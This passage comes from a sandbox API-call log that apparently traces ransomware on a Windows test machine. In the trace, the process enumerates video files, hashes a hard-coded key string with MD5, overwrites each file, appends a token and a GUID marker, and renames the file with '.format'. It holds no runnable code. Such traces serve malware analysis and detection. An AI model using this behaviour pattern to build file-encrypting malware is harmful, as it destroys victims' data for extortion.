lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0069.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.888] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.888] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xbd1, lpOverlapped=0x0) returned 1 [0069.888] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.888] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.888] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.888] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.889] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.889] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.889] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.889] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.889] GetLastError () returned 0x0 [0069.889] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.889] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbd0) returned 0x329cf20 [0069.889] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.889] WriteFile (in: hFile=0x5c8, lpBuffer=0x329cf20*, nNumberOfBytesToWrite=0xbcc, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x329cf20*, lpNumberOfBytesWritten=0x38cfb24*=0xbcc, lpOverlapped=0x0) returned 1 [0069.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0069.889] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbd1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.890] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.890] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.890] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.890] CloseHandle (hObject=0x5c8) returned 1 [0069.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0069.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\QEzesBv71jyTVEofztiW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qezesbv71jytveofztiw.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\QEzesBv71jyTVEofztiW.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\qezesbv71jytveofztiw.mp4.format")) returned 1 [0069.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.891] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.892] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ba83a70, ftCreationTime.dwHighDateTime=0x1d4d4c7, ftLastAccessTime.dwLowDateTime=0xc40b0260, ftLastAccessTime.dwHighDateTime=0x1d4cff5, ftLastWriteTime.dwLowDateTime=0xc40b0260, ftLastWriteTime.dwHighDateTime=0x1d4cff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qsu-c", cAlternateFileName="")) returned 1 [0069.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0069.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.893] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30478bb0, ftCreationTime.dwHighDateTime=0x1d4caba, ftLastAccessTime.dwLowDateTime=0x8934ff10, ftLastAccessTime.dwHighDateTime=0x1d4c88e, ftLastWriteTime.dwLowDateTime=0x8934ff10, ftLastWriteTime.dwHighDateTime=0x1d4c88e, nFileSizeHigh=0x0, nFileSizeLow=0x117f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xO2H6bL0ka2.swf", cAlternateFileName="XO2H6B~1.SWF")) returned 1 [0069.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee530 [0069.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee530 | out: hHeap=0x5d0000) returned 1 [0069.893] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\xO2H6bL0ka2.swf") returned=".swf" [0069.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\xO2H6bL0ka2.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\xo2h6bl0ka2.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.893] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=71670) returned 1 [0069.893] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.895] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x117d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.896] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0069.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.896] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.896] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x117f6, lpOverlapped=0x0) returned 1 [0069.897] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.897] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.897] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.897] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.897] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.898] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.898] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.898] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.898] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.898] GetLastError () returned 0x0 [0069.898] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.898] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.898] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11800) returned 0x32b2f40 [0069.898] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.898] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.898] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x117f1, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x117f1, lpOverlapped=0x0) returned 1 [0069.899] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.899] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x117f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.899] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.899] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.899] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.899] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.899] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.899] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.899] CloseHandle (hObject=0x5c8) returned 1 [0069.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185bd8 [0069.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0069.899] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185bd8 | out: hHeap=0x5d0000) returned 1 [0069.899] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\xO2H6bL0ka2.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\xo2h6bl0ka2.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\WnrIX\\xO2H6bL0ka2.swf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\wnrix\\xo2h6bl0ka2.swf.format")) returned 1 [0069.900] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.900] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.901] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30478bb0, ftCreationTime.dwHighDateTime=0x1d4caba, ftLastAccessTime.dwLowDateTime=0x8934ff10, ftLastAccessTime.dwHighDateTime=0x1d4c88e, ftLastWriteTime.dwLowDateTime=0x8934ff10, ftLastWriteTime.dwHighDateTime=0x1d4c88e, nFileSizeHigh=0x0, nFileSizeLow=0x117f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xO2H6bL0ka2.swf", cAlternateFileName="XO2H6B~1.SWF")) returned 0 [0069.901] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.901] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.901] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: 